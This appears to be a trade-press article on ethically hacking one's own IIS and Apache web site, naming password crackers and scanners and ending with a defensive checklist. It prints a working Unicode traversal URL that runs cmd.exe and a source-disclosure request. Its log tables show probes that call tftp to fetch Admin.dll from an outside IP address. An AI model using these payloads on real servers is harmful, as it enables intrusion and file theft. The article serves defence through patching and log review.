Ethical hacking of your own Web site can reveal problems and vulnerabilities before the bad guys find them.A good intrusion-detection system is one way to fight off hackers. Studying news of security threats and installing the latest patches is another excellent idea. Hacking your own Web site to verify that it’s secure is yet another.If you hack your own network, make sure to give yourself a safe environment. Making back-up copies of server files and configuration data can be a lifesaver when your hacking attempts succeed beyond your wildest expectations. And make sure the appropriate people know what you’re doing beforehand. In your status reports and memos, however, don’t refer to your activities as hacking. Use the term “auditing” – it sounds better. Nonetheless, ethical hacking is what you’ll be doing.During a recent project to improve security at a Microsoft Internet Information Server (IIS) 5.0-based Web site, we used five hacking tools: • @stake’s NetCat 1.1; a script-driven utility that connects to Web sites, sends HTML requests and shows the Web sites’ responses.• Rain Forest Puppy’s Whisker 2.1 for Unix and Whisker 1.4 for Windows; Web site checking tools that obtain Web site contents, run programs on the Web server and crack Web site passwords. • HooBie’s Brutus AET2 and EliteSys’ Entry 2.7; superlative, fast password crackers.• Tennyson Maxwell Information Systems’ Teleport Pro 1.29; a Web spider that discovers and copies Web server files.Our self-hacking game plan was to gain access to the Web site by bombarding it with badly formed URLs, cut through authentication barricades by guessing passwords and copy Web site files once we’d cracked the site’s security. The five tools helped by revealing operating system and other files on the Web server, defeating password protections and even obtaining (simulated) credit card files.Some really bad charactersOur research, in combination with NetCat’s documentation, suggested that we could break in by using the UniCode IIS bug. This Microsoft IIS vulnerability was discovered in October 2000, but many sites have yet to apply the security patches that fix it.It works this way: A hacker tries to access the network via a particular type of badly formed URL, which can cause the Web server to give the hacker access to directories containing files and executables. The hacker can then copy the files or download the executable and launch it remotely.Our first goal was to gain some basic information about the Web site. In a typical Web server interaction, a client’s browser sends a “GET/Default.htm” request to the Web server, along with some browser identification data (such as Mozilla/4.0+ compatible; +MSIE+5.5; +Windows +NT +4.0). The Web server responds with a return code of 200, which indicates success, some identifying information of its own and the contents of the Default.htm Web page. Examining the Web server’s responses told us volumes about that specific Web server. We easily discovered details that let us access its operating system files, data files, script programs and databases.An example of this dangerous type of URL is www.sitenamehere.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:. Unless patched, the Web site responds to this URL with a list of directories and files on the server’s D: drive.We were able to use special characters (illegal Unicode encodings of the “/” character) inside bizarre-looking URLs to gain access to directories that we shouldn’t have had access to, such as the directoryWINNTSystem32. Inside that directory, we found the server’s command shell CMD.EXE program.In separate tests, we experimented with Unix and Linux machines running Apache Web server software. We found that Unix and Linux files also are at risk. For example, a server might have a Perl CGI script index program as part of the site’s search feature. Sending a www.site.com/index.cgi?page=index.cgi GET request to the server revealed the source code for the index.cgi program. We could glean quite a bit of information about a site by examining the Perl script that implements its search feature. Stealing credit card numbersWe used the UniCode IIS bug and other Windows idiosyncrasies to learn which files were on the server, to look at the contents of those files and to copy the files. Next, we established passwords to deter unauthorized server access. And we quickly learned that lackadaisically administered passwords are no obstacle to hackers.Whisker, Brutus and Entry made short work of guessing simple name- or birthday-related passwords we initially created. These tools also could guess correct passwords based on permutations of the simple passwords we started with.Once we guessed a password for the Windows machine, we sidestepped the IIS, Apache or Netscape software. Because file and print sharing were active by default on the Windows Web server, we merely needed to issue the following simple command via CMD.EXE to access files: NET USE F: ServerNameShareName password.Even after we disabled file and print sharing, we still could use Teleport Pro to copy server files nearly effortlessly to another machine. We only needed to know the password of a logon account with sufficient permissions to access the files. Guessing the password wasn’t terribly difficult when we used a software tool that generates permutations of entries in word lists. The tools are blazingly fast, too. Depending on factors such as bandwidth, latency and CPU speed, a password-cracking tool can issue up to 30,000 password attempts per minute.A good password-cracking tool is fast and flexible. For example, before we ran Brutus to generate permutations of candidate passwords we supplied in a word list file, we told Brutus the nature of the passwords it should try. We could specify that trial passwords should be upper, lower or mixed case letters, just numeric digits, any keys pressed or characters from a custom set. We could also tell Brutus the minimum and maximum number of characters each trial password should contain.Before we imposed new, strict password guidelines, we found that the password-cracking tools quickly discovered many of the Web server’s existing passwords. In one of our hacking attempts, the combination of Brutus and Teleport Pro easily and painlessly disclosed the contents of a simulated credit card file. The file or database could just as well have contained any other private, business-sensitive information for us to exploit.Setting up password challenges can thwart unauthorized Web server access, but only if you make your passwords unguessable. We suggest you adopt a corporate policy regarding passwords that specifies each user’s password must be at least six (or even eight) characters, contain both letters and numbers, change periodically and not be based on people’s names or birthdays.ConclusionIn our project to improve Web site security, we found that hackers can all too easily use malformed URLs and other tricks to gain access to servers and files on your network. To fend off these digital breaking and entering attempts, we set up some simple procedures at the client site, including staying abreast of security patches, faithfully applying those patches and periodically checking log files for break-in attempts. We also put in place a procedure for ethically hacking the site on a regular basis.Log filesThese log files show how a hacker could try to gain access to a network by using badly formed URLs to confuse the Web server. In these logs, all GET requests went through Port 80.Simple probes. The second one succeeds, running CMD.EXE to obtain a list of directories on the Web server. TimeDocument requestedQuery stringStatus15:06:00/winnt/system32/cmd.exe/c+dir+c:404: Not found15:06:00/scripts/.%2e/.%2e/winnt/system32/cmd.exe/c+dir+c:200: Success15:06:01/scripts/.%2e/.%2e/winnt/system32/cmd.exe/c+dir+c:502: Service temporarily overloaded More complex probes. Note the use of %5c as a special character in the fifth and sixth events. The sixth one succeeds. TimeDocument requestedQuery stringStatus10:59:51/scripts/root.exe/c+dir 404: Not found10:59:54/MSADC/root.exe/c+dir403: Forbidden10:59:57/c/winnt/system32/cmd.exe/c+dir404: Not found11:00:09/d/winnt/system32/cmd.exe/c+dir404: Not found11:00:12/scripts/..%5c../winnt/system32/cmd.exe/c+dir500: Internal error11:00:14/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+dir200: Success Probe events after the installation of Microsoft’s Urlscan security tool. TimeDocument requestedQuery stringStatus12:33:20/~/scripts/root.exe40312:33:20/~/MSAD/root.exe40312:33:20/~/c/winnt/system32/cmd.exe40312:33:21/~/d/winnt/system32/cmd.exe40312:33:21/~/scripts/..%255c../winnt/system32/c40312:33:21/~/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe40312:33:22/~/_mem_bin/..$255c../..%255c../..%255c../winnt/system32/cmd.exe403 timeuri-stemuri-querystatus10:00:45/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+dir20010:00:46/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20c:Admin.dll50210:00:48/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20d:Admin.dll50210:00:50/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+tftp%20-i%2064.105.71.39%20GET%20Admin.dll%20e:Admin.dll50210:53:33/scripts/root.exe/c+dir40310:53:33/MSADC/root.exe/c+dir40310:53:33/c/winnt/system32/cmd.exe/c+dir40310:53:35/d/winnt/system32/cmd.exe/c+dir40310:53:35/scripts/..%5c../winnt/system32/cmd.exe/c+dir40310:53:35/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+dir40310:53:36/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe/c+dir40310:53:36/msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe/c+dir40310:53:36/scripts/..Á ../winnt/system32/cmd.exe/c+dir40310:53:37/scripts/winnt/system32/cmd.exe/c+dir40310:53:37/winnt/system32/cmd.exe/c+dir40310:53:37/winnt/system32/cmd.exe/c+dir40310:53:38/scripts/..%5c../winnt/system32/cmd.exe/c+dir40310:53:38/scripts/..%5c../winnt/system32/cmd.exe/c+dir40310:53:38/scripts/..%5c../winnt/system32/cmd.exe/c+dir40310:53:39/scripts/..%2f../winnt/system32/cmd.exe/c+dir403 Figure 3. Yet more complex probes. Note the attempts to invoke tftp in the second, third and fourth events, along with the use of %2f as a special character. Related content news Broadcom to lay off over 1,200 VMware employees as deal closes The closing of VMware’s $69 billion acquisition by Broadcom will lead to layoffs, with 1,267 VMware workers set to lose their jobs at the start of the new year. By Jon Gold Dec 01, 2023 3 mins Technology Industry Mergers and Acquisitions news analysis Cisco joins $10M funding round for Aviz Networks' enterprise SONiC drive Investment news follows a partnership between the vendors aimed at delivering an enterprise-grade SONiC offering for customers interested in the open-source network operating system. By Michael Cooney Dec 01, 2023 3 mins Network Management Software Industry Networking news Cisco CCNA and AWS cloud networking rank among highest paying IT certifications Cloud expertise and security know-how remain critical in building today’s networks, and these skills pay top dollar, according to Skillsoft’s annual ranking of the most valuable IT certifications. Demand for talent continues to outweigh s By Denise Dubie Nov 30, 2023 7 mins Certifications Network Security Networking news Mainframe modernization gets a boost from Kyndryl, AWS collaboration Kyndryl and AWS have expanded their partnership to help enterprise customers simplify and accelerate their mainframe modernization initiatives. By Michael Cooney Nov 30, 2023 4 mins Mainframes Cloud Computing Data Center Podcasts Videos Resources Events NEWSLETTERS Newsletter Promo Module Test Description for newsletter promo module. Please enter a valid email address Subscribe